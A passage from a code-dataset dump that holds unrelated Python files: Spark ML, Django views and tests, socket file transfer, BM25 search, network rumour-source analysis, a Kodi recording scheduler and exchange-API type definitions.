name=\"bias_grad\")\n            res.append((weight_grad, wb._weight))\n            res.append((bias_grad, wb._bias))\n        return res\n","sub_path":"noisy_kfac/ops/adam_optimizer.py","file_name":"adam_optimizer.py","file_ext":"py","file_size_in_byte":8529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"86615207","text":"from pyspark.sql import SparkSession\nspark=SparkSession.builder.appName('random_forest').getOrCreate()\n\nprint('-----------读取用于测得数据,检测数据质量和相关的特征。即相对数据有一定的认识，对后续进行逻辑回归训练做准备------------------')\n\n# 读取数据\ndf=spark.read.csv('cars.csv',inferSchema=True,header=True)\n\nprint((df.count(),len(df.columns)))\n\ndf.printSchema()\n\ndf.describe().select('summary','地区','驾驶员年龄','驾龄','每年保养次数','汽车类型').show() # 全景数据分析统计，会对各列按 平均值，方差，最小值，最大值 , 函数统计 这几个统计量来进行统计。\ndf.groupBy('故障').count().show()                                                        # 以故障汇总数据\ndf.groupBy('地区').count().show()                                                        # 以所在地进行汇总数据 \ndf.groupBy('汽车类型','故障').count().orderBy('汽车类型','故障','count',ascending=True).show()  \n\ndf.groupBy('每年保养次数','故障').count().orderBy('每年保养次数','故障','count',ascending=True).show()\n\ndf.groupBy('故障').mean().show()                                                        # 计算均值\n\n\nprint('-----------数据转换，将所有的特征值放到一个特征向量中，预测值分开.划分数据用于模型------------------')\n\nfrom pyspark.ml.feature import VectorAssembler                                         #一个 导入VerctorAssembler 将多个列合并成向量列的特征转换器,即将表中各列用一个类似list表示，输出预测列为单独一列。\n\ndf_assembler = VectorAssembler(inputCols=['地区', '驾驶员年龄', '驾龄', '每年保养次数', '汽车类型'], outputCol=\"features\")\ndf = df_assembler.transform(df)\ndf.printSchema()\n\ndf.select(['features','故障']).show(10,False)\n\nmodel_df=df.select(['features','故障'])                                               # 选择用于模型训练的数据\ntrain_df,test_df=model_df.randomSplit([0.75,0.25])                                    # 训练数据和测试数据分为75%和25%\n\ntrain_df.groupBy('故障').count().show()\ntest_df.groupBy('故障').count().show()\n\nprint('-----------使用随机深林进行数据训练----------------')\n\nfrom pyspark.ml.classification import RandomForestClassifier\n\nrf_classifier=RandomForestClassifier(labelCol='故障',numTrees=50).fit(train_df)      # numTrees设置随机数的数量为50,还有其他参数：maxDepth 树深;返回的模型类型为：RandomForestClassificationModel\n\nrf_predictions=rf_classifier.transform(test_df)\n\nprint('{}{}'.format('评估每个属性的重要性:',rf_classifier.featureImportances))   # featureImportances : 评估每个功能的重要性,\n\nrf_predictions.select(['probability','故障','prediction']).show(10,False)\n\nprint(\"------查阅pyspark api，没有发现有训练准确率的字段，所以还需要计算预测的准确率------\")\n\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator      # 对二进制分类的评估器,它期望两个输入列:原始预测值和标签\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator  # 多类分类的评估器,它期望两个输入列:预测和标签\n\nrf_accuracy=MulticlassClassificationEvaluator(labelCol='故障',metricName='accuracy').evaluate(rf_predictions)\nprint('MulticlassClassificationEvaluator 随机深林测试的准确性： {0:.0%}'.format(rf_accuracy))\n\nrf_auc=BinaryClassificationEvaluator(labelCol='故障').evaluate(rf_predictions)\nprint('BinaryClassificationEvaluator 随机深林测试的准确性： {0:.0%}'.format(rf_auc))\n\n\nprint('-----------保持模型，用于下次使用----------------')\n\nrf_classifier.save(\"RF_model\")","sub_path":"spark-ml/随机森林-RandomForests/RF.py","file_name":"RF.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"305163927","text":"from django.shortcuts import render\nfrom mobile.detectmobilebrowsermiddleware import DetectMobileBrowser\nfrom django.conf import settings\nfrom sitecontent.models import AdaptorBaseBlock\n\ndmb     = DetectMobileBrowser()\n \ndef home(request):\n    content ={}\n    isMble  = dmb.process_request(request)\n\n    sitecontents = AdaptorBaseBlock.objects.all() \n    content['sitecontents'] = sitecontents\n    content['mediaroot'] = settings.MEDIA_URL\n\n    if isMble:\n        return render(request, 'm_home.html',content) \n    else:\n        return render(request, 'home.html',content) ","sub_path":"official/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"603834253","text":"import socket\nimport os\nimport time\n\n# creating a socket to listen for incoming connections\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nport = 2017\nserversocket.bind(('192.168.43.15',port))\nserversocket.listen(1)\nm = \"init\"\nExtn = \".pdf\"\nwhile True:\n# accepting connection from client\n\tclientsocket, addr = serversocket.accept()\n\t#print \"Connected to client\"\n\t# receiving 10 packets\n\tfor i in range(1):\n\t\tm = clientsocket.recv(5000)\n\t\t#print (m)\n\t\t#print \"-\"*50\n\t\t#print \"File received from client\"\n\t\t# receive only 50 at a time\n\tclientsocket.close()\n\tserversocket.close()\n\t#print m+\" accessible outside the loop\"\n\tbreak\nK = os.listdir (\"./packages\")\nFile = m.decode()\nif File in K:\n\t#print \"Package exists!\"\n\t#Now, this becomes client\n\t#new client establishes connection\n\tF = open ('./packages/'+File,'rb')\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.connect(('192.168.43.15', port+1))\n\ts.send(F.read())\n\tF.close()\n\t#print \"File sent to server\"\n\ts.close()\n\nelse:\n\tprint (\"Package does not exist!\")\n","sub_path":"Client_Server/Server/serversocket.py","file_name":"serversocket.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"611869300","text":"from ranking import BM25Ranker\nimport pickle\nfrom inverted_index import Index\npickle_in = open(\"index.pkl\",\"rb\")\nindexobj= pickle.load(pickle_in)\nprint(indexobj.invertedindex)\nquery = input(\"Enter the query:\")\nranker = BM25Ranker(indexobj,indexobj.noOfDocuments,1.5,0.75)\ndocumentsRank = ranker.getDocumentsRank(query)\nfor docID in documentsRank.keys():\n    print(indexobj.documents[docID],documentsRank[docID])\n\n","sub_path":"Engine.py","file_name":"Engine.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"643063032","text":"\"\"\"This is the task 28 form the file 'Programming ideas.docx'\"\"\"\n\n\n# Importing\nfrom random import randint\n\n# Introducing\nprint(\"This program will show you the highest and the smallest numbers from a list of 10K numbers. \")\nprint()\n\n\n# Creating the list of 10K numbers\nnumbers = list()\n\nfor i in range(10000):\n    n = randint(1, 10000)\n    numbers.append(n)\n\n# Main\nhighest = 1\nlowest = 999\naverage = (highest + lowest)/2\n\nfor i in numbers:\n    if i > highest:\n        highest = i\n    elif i < lowest:\n        lowest = i\n\n#Ending\n\nprint(\"Highest:\", highest)\nprint(\"Lowest:\", lowest)\nprint(\"Average:\", average)","sub_path":"Remove_Project/Programming Ideas/Task_28.py","file_name":"Task_28.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"144277375","text":"\"\"\"View presenting the PDF viewer.\"\"\"\nimport hashlib\nfrom base64 import b64encode\nfrom datetime import timedelta\n\nfrom h_vialib import Configuration\nfrom h_vialib.secure import quantized_expiry\nfrom pyramid import view\n\nfrom via.services import has_secure_url_token\n\n\n@view.view_config(\n    renderer=\"via:templates/pdf_viewer.html.jinja2\",\n    route_name=\"view_pdf\",\n    # We have to keep the leash short here for caching so we can pick up new\n    # immutable assets when they are deployed\n    http_cache=0,\n    decorator=(has_secure_url_token,),\n)\ndef view_pdf(context, request):\n    \"\"\"HTML page with client and the PDF embedded.\"\"\"\n\n    url = context.url()\n\n    request.checkmate.raise_if_blocked(url)\n\n    nginx_server = request.registry.settings[\"nginx_server\"]\n    proxy_pdf_url = _pdf_url(\n        url,\n        nginx_server,\n        request.registry.settings[\"nginx_secure_link_secret\"],\n    )\n\n    _, h_config = Configuration.extract_from_params(request.params)\n\n    return {\n        # The upstream PDF URL that should be associated with any annotations.\n        \"pdf_url\": url,\n        # The CORS-proxied PDF URL which the viewer should actually load the PDF from.\n        \"proxy_pdf_url\": proxy_pdf_url,\n        \"client_embed_url\": request.registry.settings[\"client_embed_url\"],\n        \"static_url\": request.static_url,\n        \"hypothesis_config\": h_config,\n    }\n\n\ndef _pdf_url(url, nginx_server, secret):\n    \"\"\"Return the URL from which the PDF viewer should load the PDF.\"\"\"\n\n    # Compute the expiry time to put into the URL.\n    exp = int(quantized_expiry(max_age=timedelta(hours=25)).timestamp())\n\n    # The expression to be hashed.\n    #\n    # This matches the hash expression that we tell the NGINX secure link\n    # module to use with the secure_link_md5 setting in our NGINX config file.\n    #\n    # http://nginx.org/en/docs/http/ngx_http_secure_link_module.html#secure_link_md5\n    hash_expression = f\"/proxy/static/{exp}/{url} {secret}\"\n\n    # Compute the hash value to put into the URL.\n    #\n    # This implements the NGINX secure link module's hashing algorithm:\n    #\n    # http://nginx.org/en/docs/http/ngx_http_secure_link_module.html#secure_link_md5\n    hash_ = hashlib.md5()\n    hash_.update(hash_expression.encode(\"utf-8\"))\n    sec = hash_.digest()\n    sec = b64encode(sec)\n    sec = sec.replace(b\"+\", b\"-\")\n    sec = sec.replace(b\"/\", b\"_\")\n    sec = sec.replace(b\"=\", b\"\")\n    sec = sec.decode()\n\n    # Construct the URL, inserting sec and exp where our NGINX config file\n    # expects to find them.\n    return f\"{nginx_server}/proxy/static/{sec}/{exp}/{url}\"\n","sub_path":"via/views/view_pdf.py","file_name":"view_pdf.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"119335813","text":"import networkx as nx\nimport random\n\nfrom Girvan_Newman import GN #引用模块中的函数\n\n#读取文件中边关系，然后成为一个成熟的图\ndef  ContractDict(dir,G):\n    with open(dir, 'r') as f:\n        for line in f:\n            line1=line.strip().split(\",\")\n            # print (line1)\n            G.add_edge(int(float(line1[0])),int(float(line1[1])))\n    # print (G.number_of_edges())\n    return G\n\n\n#生成感染图，我们看看感染图是什么样子。\n\n\n\nfrom queues import  Queue\n\ndef Algorithm1(G,basesore,sourceList):\n    n = 0\n    SG=nx.MultiGraph()\n    simqueue = Queue()\n    for i in range(len(sourceList)):\n     simqueue.enqueue(sourceList[i])\n\n    # while(not(simqueue.empty())):\n    while (n<100 and simqueue.size()<98):\n            # print (\"这次感染队列列表有个感染点\")\n            #  print (simqueue.size())\n            sourceItem_=simqueue.dequeue()\n            SG.add_node( sourceItem_)\n            for sourceNeightor in list(G.neighbors( sourceItem_)):\n                if G.node[sourceNeightor]['Cn']==0:\n                    G.node[sourceNeightor]['Scn']+=G.nodes[ sourceItem_]['Scn']\n                G.add_node(sourceNeightor, Cn=1)\n                SG.add_node(sourceNeightor)\n                SG.add_edge(sourceItem_,sourceNeightor)\n                simqueue.enqueue(sourceNeightor)\n            n+=1\n    #对所有n<V(就是分数达到阕值的节点感染）算是谣言的不同之处吧。更新。\n    for index in  range(1,35):\n        if G.node[index]['Scn']>basesore:\n            G.add_node(index, Cn=1)\n\n    return  G,SG\n\n\n\n\n#产生head以及tail中的一个随机数。\ndef  randomNum(head,tail):\n    random.random()\n\n\n\n\n\n\n\n\n\n\n#定义函数来进行分区后的谣言定位\n'''\nparameter：多个社区的分区，以及被传播的节点，现在分别计算度以及中心性，进行源头判断。\n\n'''\n\n\ndef    cal_source(G,infectList):\n    #按照分区的来进行判断源点。\n    # print (len(infectList))\n    # print('感染图，节点总数', G.number_of_nodes())\n    # print('感染图，边总数', G.number_of_edges())\n    # print('感染图，边总数', G.edges())\n    lists = [[] for _ in range(len(infectList))]\n\n    centrality = nx.betweenness_centrality(G)\n    # print(sorted((v, '{:0.2f}'.format(c)) for v, c in centrality.items()))\n    for v, c in centrality.items():\n        for i in range(len(infectList)):\n         if  v in infectList[i]:\n             lists[i].append([v,c])\n\n    #对lists进行排序。\n    for i  in range(len(lists)):\n       secList=sorted(lists[i],key=lambda x:(str(x[1]).lower(),x[0]),reverse = True )\n       print (secList)\n    # for i in range(len(lists)):\n    #    print (lists[i])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#  制造这个图\nGinti = nx.Graph()\n#初始化图\nfor index in range(1,35):\n    Ginti.add_node(index)\n\n\n#构建图\nG=ContractDict('karate_[Edges].csv',Ginti)\n\n\nprint ('一开始图的顶点个数',G.number_of_nodes())\nprint ('一开始图的边个数',G.number_of_edges())\n\n'''\n生成若干个感染节点。也就是谣言源点。每个节点有Cn以及Scn属性。\n'''\n\n#  先给全体的Cn、Scn的0的赋值。\nfor index in range(1,35):\n    G.add_node(index, Cn=0,Scn=0)\n# print (G.nodes[6416])\n\n\n\n# 随机产生5个感染点。\nsourceList=[]\nfor index in range(1,6):\n    random_RumorSource=0\n    random_RumorSource=random.randint(1, 34)\n    sourceList.append(random_RumorSource)\n    G.add_node(random_RumorSource,Cn=1)\nprint ('感染点列表',sourceList)\n\n\n\n\n\n#  图形化还差得远。很烦。\n#  开始送入我们的算法中，就G和basesore,还有感染源list三个参数，返回一个是所有图，以及传染图。\nGResult,SGResult=Algorithm1(G,5,sourceList)\n\n\n\n\n\n#打印出所传染的节点个数\n\nInfected_node=[]\nfor i  in range(1,35):\n    if  G.node[i]['Cn']== 1:\n        Infected_node.append(i)\nprint ('感染点计数，以及他们',len(Infected_node),Infected_node)\n\n\n\n\n\nnx.write_gml(SGResult,'test.gml')\n\n\n#copy防止引用\nimport copy\n\nSGResult_copy=copy.deepcopy(SGResult)\n\nprint ('感染图，节点总数',SGResult.number_of_nodes())\nprint  ('感染图，边总数',SGResult.number_of_edges())\nprint  ('感染图，点显示',SGResult.nodes())\nprint  ('感染图，边总数',SGResult.edges())\n\n\n\n#将感染图构建边文件test.csv以及节点文件test1.csv\n\nimport csv\n\n#python2可以用file替代open\nwith open(\"test.csv\",\"w\",newline='') as csvfile:\n    writer = csv.writer(csvfile)\n    cout=1\n    writer.writerow([\"source\",\"target\",\"type\"])\n    for  u,v  in SGResult.edges():\n        cout+=1\n        writer.writerow([u,v,\"Directed\"])\n\n\n#python2可以用file替代open\nwith open(\"test1.csv\",\"w\",newline='') as csvfile:\n    writer = csv.writer(csvfile)\n    writer.writerow([\"id\",\"label\"])\n    for  u  in SGResult.nodes():\n        if u in sourceList :\n           writer.writerow([u,'1'])\n        else:\n            writer.writerow([u,'0'])\n\n\n\n\n\n\n\n\n\n#  将感染图，进行GN分区。\n\n# algorithm = GN(GInfection)\nalgorithm = GN(SGResult)\npartition, all_Q, max_Q=algorithm.run()\n#暂时不需要画图\n# algorithm.draw_Q()\nalgorithm.add_group()\nalgorithm.to_gml()\n\n\n\n\n\n# 现在已经知道被感染的节点，那么问题来了，如何在被感染的分区之后的一些节点中找到\n#源?\n\n#prepare   parameter：准备参数，也就是我们的。\n\n#计算分区结果，并且打印出中心度最高的节点。判断是不是源点。\ncal_source(SGResult_copy,partition)\n\n","sub_path":"jarden_center/main_code/divid/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"184936433","text":"import pytest\nfrom unittest.mock import call, patch\nfrom django.urls import reverse\n\nfrom core.tests.helpers import create_response\n\n\n@pytest.fixture\ndef mock_get_page():\n    stub = patch(\n        'directory_cms_client.client.cms_api_client.lookup_by_slug',\n        return_value=create_response(status_code=200)\n    )\n    yield stub.start()\n    stub.stop()\n\n\nmarkets_pages = [\n    (\n        'TopicLandingPage',\n        '/markets/'\n    ),\n    (\n        'CountryGuidePage',\n        '/markets/australia/'\n    )\n]\n\n\n@pytest.mark.parametrize('page_type,url', markets_pages)\ndef test_markets_pages_404_when_feature_off(\n    mock_get_page, page_type, url, client, settings\n):\n    settings.FEATURE_FLAGS['MARKETS_PAGES_ON'] = False\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body={\n            'page_type': page_type,\n        }\n    )\n\n    response = client.get(url)\n\n    assert response.status_code == 404\n\n\n@pytest.mark.parametrize('page_type,url', markets_pages)\ndef test_markets_pages_200_when_feature_on(\n    mock_get_page, page_type, url, client, settings\n):\n    settings.FEATURE_FLAGS['MARKETS_PAGES_ON'] = True\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body={\n            'page_type': page_type,\n            'heading': 'Heading',\n            'statistics': [],\n            'accordions': [],\n            'fact_sheet': {'columns': []},\n            'child_pages': []\n        }\n    )\n\n    response = client.get(url)\n\n    assert response.status_code == 200\n\n\ndef test_news_list_page_feature_flag_off(client, settings):\n    settings.FEATURE_FLAGS['NEWS_SECTION_ON'] = False\n\n    url = reverse('eu-exit-news-list')\n\n    response = client.get(url)\n\n    assert response.status_code == 404\n\n\ndef test_breadcrumbs_mixin(mock_get_page, client, settings):\n    settings.FEATURE_FLAGS['EXPORT_JOURNEY_ON'] = False\n\n    url = reverse('create-an-export-plan-article', kwargs={'slug': 'foo'})\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body={\n            'page_type': 'ArticlePage'\n        }\n    )\n    response = client.get(url)\n\n    breadcrumbs = response.context_data['breadcrumbs']\n    assert breadcrumbs == [\n        {\n            'url': '/advice/',\n            'label': 'Advice'\n        },\n        {\n            'url': '/advice/create-an-export-plan/',\n            'label': 'Create an export plan'\n        },\n        {\n            'url': '/advice/create-an-export-plan/foo/',\n            'label': 'Foo'\n        },\n    ]\n\n\ndef test_community_article_view(mock_get_page, client):\n    mock_get_page.return_value = create_response(200, {\n        \"meta\": {\"slug\": \"foo\"},\n        \"page_type\": \"ArticlePage\",\n    })\n    url = reverse('community-article')\n\n    response = client.get(url)\n\n    assert response.status_code == 200\n    assert mock_get_page.call_count == 1\n    assert mock_get_page.call_args == call(\n        draft_token=None,\n        language_code='en-gb',\n        slug='community',\n    )\n\n\n@patch('directory_cms_client.client.cms_api_client.lookup_by_slug')\ndef test_get_country_guide_page_attaches_array_lengths(mock_get_page, client):\n\n    page = {\n        'title': 'test',\n        'page_type': 'CountryGuidePage',\n        'heading': 'Heading',\n        'statistics': [\n            {'number': '1'},\n            {'number': '2', 'heading': 'heading'},\n            {'number': None, 'heading': 'no-number-stat'}\n        ],\n        'accordions': [\n            {\n                'title': 'title',\n                'teaser': 'teaser',\n                'statistics': [\n                    {'number': '1'},\n                    {'number': '2', 'heading': 'heading'},\n                    {'number': '3', 'heading': 'heading2'},\n                    {'number': None, 'heading': 'no-number-stat'}\n                ],\n                'subsections': [\n                    {'heading': 'heading'},\n                    {'heading': 'heading-with-teaser', 'teaser': 'teaser'},\n                    {'heading': 'heading-with-teaser-2', 'teaser': 'teaser2'},\n                    {'heading': None, 'teaser': 'teaser-without-heading'}\n                ],\n                'ctas': [\n                    {'title': 'title', 'link': 'link'},\n                    {'title': 'title no link', 'link': None},\n                    {'title': None, 'link': 'link-but-no-title'}\n                ]\n            }\n        ],\n        'fact_sheet': {\n            'columns': [\n                {'title': 'title'},\n                {'title': 'title-with-teaser', 'teaser': 'teaser'},\n                {'title': None, 'teaser': 'teaser-without-title'}\n            ]\n        }\n    }\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body=page\n    )\n\n    url = reverse(\n        'country-guide',\n        kwargs={'slug': 'japan'}\n    )\n    response = client.get(url)\n\n    view = response.context_data['view']\n    assert view.num_of_statistics == 2\n    accordions = response.context_data['page']['accordions']\n    assert accordions[0]['num_of_statistics'] == 3\n    assert accordions[0]['num_of_subsections'] == 3\n    assert accordions[0]['num_of_ctas'] == 2\n    assert response.context_data['page']['fact_sheet']['num_of_columns'] == 2\n\n\n@patch('directory_cms_client.client.cms_api_client.lookup_by_slug')\ndef test_get_country_guide_page_viable_accordion(\n        mock_get_page,\n        client\n):\n    viable_accordion = {\n        'statistics': [],\n        'title': 'title',\n        'teaser': 'teaser',\n        'subsections': [\n            {\n                'heading': 'heading1'\n            },\n            {\n                'heading': 'heading2'\n            }\n        ],\n        'ctas': [\n            {\n                'link': 'link1'\n            },\n            {\n                'link': 'link2'\n            },\n            {\n                'link': 'link3'\n            }\n        ]\n    }\n\n    page = {\n        'title': 'test',\n        'page_type': 'CountryGuidePage',\n        'heading': 'Heading',\n        'statistics': [],\n        'accordions': [viable_accordion],\n        'fact_sheet': {\n            'columns': []\n        }\n    }\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body=page\n    )\n\n    url = reverse(\n        'country-guide',\n        kwargs={'slug': 'japan'}\n    )\n    response = client.get(url)\n\n    accordions = response.context_data['page']['accordions']\n    assert bool(accordions[0]['is_viable']) is True\n\n\nnon_viable_accordions = [\n    {\n        'statistics': [],\n        'title': '',\n        'teaser': 'teaser',\n        'subsections': [\n            {\n                'heading': 'heading1'\n            },\n            {\n                'heading': 'heading2'\n            }\n        ],\n        'ctas': [\n            {\n                'link': 'link1'\n            },\n            {\n                'link': 'link2'\n            },\n            {\n                'link': 'link3'\n            }\n        ]\n    },\n    {\n        'statistics': [],\n        'title': 'title',\n        'teaser': '',\n        'subsections': [\n            {\n                'heading': 'heading1'\n            },\n            {\n                'heading': 'heading2'\n            }\n        ],\n        'ctas': [\n            {\n                'link': 'link1'\n            },\n            {\n                'link': 'link2'\n            },\n            {\n                'link': 'link3'\n            }\n        ]\n    },\n    {\n        'statistics': [],\n        'title': 'title',\n        'teaser': 'teaser',\n        'subsections': [\n            {\n                'heading': 'heading1'\n            }\n        ],\n        'ctas': [\n            {\n                'link': 'link1'\n            },\n            {\n                'link': 'link2'\n            },\n            {\n                'link': 'link3'\n            }\n        ]\n    },\n    {\n        'statistics': [],\n        'title': 'title',\n        'teaser': 'teaser',\n        'subsections': [\n            {\n                'heading': 'heading1'\n            },\n            {\n                'heading': 'heading2'\n            }\n        ],\n        'ctas': [\n            {\n                'link': 'link1'\n            },\n            {\n                'link': 'link2'\n            }\n        ]\n    }\n]\n\n\n@pytest.mark.parametrize('non_viable_accordion', non_viable_accordions)\n@patch('directory_cms_client.client.cms_api_client.lookup_by_slug')\ndef test_get_country_guide_page_non_viable_accordion(\n    mock_get_page,\n    non_viable_accordion,\n    client\n):\n    page = {\n        'title': 'test',\n        'page_type': 'CountryGuidePage',\n        'heading': 'Heading',\n        'statistics': [],\n        'accordions': [non_viable_accordion],\n        'fact_sheet': {\n            'columns': []\n        }\n    }\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body=page\n    )\n\n    url = reverse(\n        'country-guide',\n        kwargs={'slug': 'japan'}\n    )\n    response = client.get(url)\n\n    accordions = response.context_data['page']['accordions']\n    assert bool(accordions[0]['is_viable']) is False\n\n\n@patch('directory_cms_client.client.cms_api_client.lookup_by_slug')\ndef test_get_markets_page_renames_heading_to_landing_page_title(\n    mock_get_page, client\n):\n    page = {\n        'title': 'test',\n        'page_type': 'TopicLandingPage',\n        'child_pages': [\n            {\n                'heading': 'heading'\n            }\n        ]\n    }\n\n    mock_get_page.return_value = create_response(\n        status_code=200,\n        json_body=page\n    )\n\n    url = reverse('markets')\n    response = client.get(url)\n\n    child_page = response.context_data['page']['child_pages'][0]\n    assert child_page['landing_page_title'] == 'heading'\n","sub_path":"article/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":9728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"258301113","text":"# -*- coding: utf-8 -*-\n\n'''\nFor ftp://download-opendata.lantmateriet.se/GSD-Terrangkartan_vektor/\n\nToponym names\n\n'''\n\ntr_t = {\n    1: {\"place\": \"isolated_dwelling\"},# Bebyggelse, enstaka gård, hus\n    2: {\"place\": \"hamlet\"},# Bebyggelse, by, större gård, mindre stadsdel\n    3: {\"place\": \"hamlet\"},# Bebyggelse, by, stadsdel\n    4: {\"place\": \"hamlet\"},# Bebyggelse, samhälle, samlad by\n    5: {\"place\": \"village\"},# Tätort 200 - 499 inv., större stadsdel\n    6: {\"place\": \"town\"},# Tätort 500 - 1 999 inv.\n    7: {\"place\": \"town\"},# Tätort 2 000 - 9 999 inv.\n    8: {\"place\": \"city\"},# Tätort 10 000 - 49 999 inv.\n    9: {\"place\": \"city\"},# Tätort 50 000 och fler inv.\n   14: {\"place\": \"locality\"},# Herrgård, storleksklass 1\n#   15: {\"historic\": \"castle\", \"castle_type\"=\"manor\"},# Slott\n   16: {\"place\": \"locality\"},# Herrgård, storleksklass 2\n#   17: {\"building\": \"church\"},# Kyrka, storleksklass 1\n#   18: {\"building\": \"church\"},# Kyrka, storleksklass 2\n}\n\nfor k in tr_t.keys():\n    tr_t[k][\"source\"] = u\"Lantmäteriet\"\n    tr_t[k][\"lantmateriet:kkod\"] = str(k)\n\ndef filterFeature(ogrfeature, fieldNames, reproject):\n#    import pdb; pdb.set_trace()\n    kkod_idx = ogrfeature.GetFieldIndex(\"KKOD\")\n    if kkod_idx >= 0:\n        kkod = int(ogrfeature.GetField(kkod_idx))\n        if not kkod in tr_t:\n            return None\n\n    return ogrfeature\n\ndef filterTags(attrs):\n#    import pdb; pdb.set_trace()\n    notags = {}\n#    if not attrs:\n#        return notags\n#    if not \"KKOD\" in attrs:\n#        return notags\n\n    kkod = int(attrs[\"KKOD\"])\n    name = attrs.get(\"TEXT\", \"\")\n#    print(\">>> name:\", name)\n\n    # Make a mutable copy of dict\n    tags = dict(tr_t[kkod])\n\n    tags[\"name\"] = name\n    return tags\n","sub_path":"translations/lm_tx.py","file_name":"lm_tx.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"140654188","text":"from resources.lib.gui.gui import cGui\nfrom resources.lib.comaddon import progress, addon, xbmc, xbmcgui, VSlog, dialog\n\nSITE_IDENTIFIER = 'Enregistrement'\nSITE_NAME = 'enregistrement'\n\nclass cEnregistremement:\n\n    def programmation_enregistrement(self, sUrl):\n        oGui = cGui()\n        ADDON = addon()\n        pathEnregistrement = ADDON.getSetting('path_enregistrement_programmation')\n        currentPath = ADDON.getSetting('path_enregistrement').replace('\\\\','/')\n        ffmpeg = ADDON.getSetting('path_ffmpeg').replace('\\\\','/')\n\n        heureDebut = oGui.showKeyBoard(\"Heure du debut d\\'enregistrement au format Heure-Minute \")\n        durer = oGui.showKeyBoard(\"Durer de l\\'enregistrement au format Heure:Minute:Seconde\")\n\n        f = open(pathEnregistrement + heureDebut + '.py','w')\n        f.write('''from subprocess import Popen, PIPE\ncommand = '\"'''+ffmpeg+'''\" -y -i \"'''+sUrl+'''\" -c:v copy -c:a copy -t '''+durer+''' \"'''+currentPath+'''/enregistrement.mkv\"'\nproc = Popen(command, shell=True, stdout=PIPE)\np_status = proc.wait()\nf = open(\"'''+currentPath+'''/test.txt\",'w')\nf.write('Finit avec code erreur ' + str(p_status))\nf.close()''')\n        oDialog = dialog().VSinfo('Redemarrer Kodi pour prendre en compte la planification','Vstream',10)\n        oGui.setEndOfDirectory()\n","sub_path":"enregistrement/enregistrement.py","file_name":"enregistrement.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"113393542","text":"import typing\nfrom decimal import Decimal\n\nfrom typing_extensions import Literal\nimport httpx\nfrom pydantic import conint, constr, PositiveInt\n\n\n\n\n# ============================================================\n# GENERAL\n# ============================================================\n\n\n# http clients (need to support async)\nCLIENT = Literal[\n    httpx.AsyncClient\n]\n\n\n# exchanges\nEXCHANGE = Literal[\n    \"KRAKEN\"\n]\n\n\nPERCENT = conint(ge=0, le=100)\n\n\n\n# ============================================================\n# TIME\n# ============================================================\n\n\nTIMESTAMP = PositiveInt\n\nTIMEFRAME = Literal[\n    \"1M\",\n    \"5M\",\n    \"15M\",\n    \"30M\",\n    \"1H\",\n    \"4H\",\n    \"1D\",\n    \"1W\"\n]\n\n\n\n\n# ============================================================\n# ASSETS\n# ============================================================\n\n\n# for Kraken: shortest : SC // longest: WAVES\nASSET = constr(regex=r'[A-Z]{2,5}')\n\n# same as assetpair\nSYMBOL = constr(regex=r'[A-Z]+-[A-Z]+')\n\n\n# symbol mappings (symbol = assetpair)\nSYMBOL_FROM_EXCHANGE = typing.Mapping[str, SYMBOL]\nSYMBOL_TO_EXCHANGE = typing.Mapping[SYMBOL, str]\n\n\n# asset mappings\nASSET_TO_EXCHANGE = typing.Mapping[ASSET, str]\nASSET_FROM_EXCHANGE = typing.Mapping[str, ASSET]\n\n\n\n\n# ============================================================\n# ENDPOINTS\n# ============================================================\n\nDEPTH = PositiveInt\n\n# couter means only last value for a given key will be taken\nASK = BID = ASKS = BIDS = typing.Mapping[Decimal, Decimal]\n\n# tuple of <best bid>, <best ask>, <timestamp>\nSPREAD = typing.Tuple[Decimal, Decimal, Decimal]\n\n# tuple of <timestamp>, <open>, <high>, <low>, <close>, <volume>\nOHLC = typing.Tuple[Decimal, Decimal, Decimal, Decimal, Decimal, Decimal]\n\n\n\n\n# ============================================================\n# ORDERS\n# ============================================================\n\n\n# KRAKEN: Other advanced order types such as stop-loss-limit are not enabled\nORDERTYPE = Literal[\n    # kraken\n    \"market\",\n    \"limit\",\n    \"stop-loss\",\n    \"take-profit\",\n    \"settle-position\",\n\n    # binance\n    \"stop-loss-limit\",\n    \"take-profit-limit\",\n    \"limit-maker\"\n]\n\n\nORDERSIDE = Literal[\n    \"buy\",\n    \"sell\",\n]\n\n\n# See https://fixwiki.org/fixwiki/OrdStatus\nORDERSTATUS = Literal[\n    \"pending-new\",\n    \"new\",\n    \"partially-filled\",\n    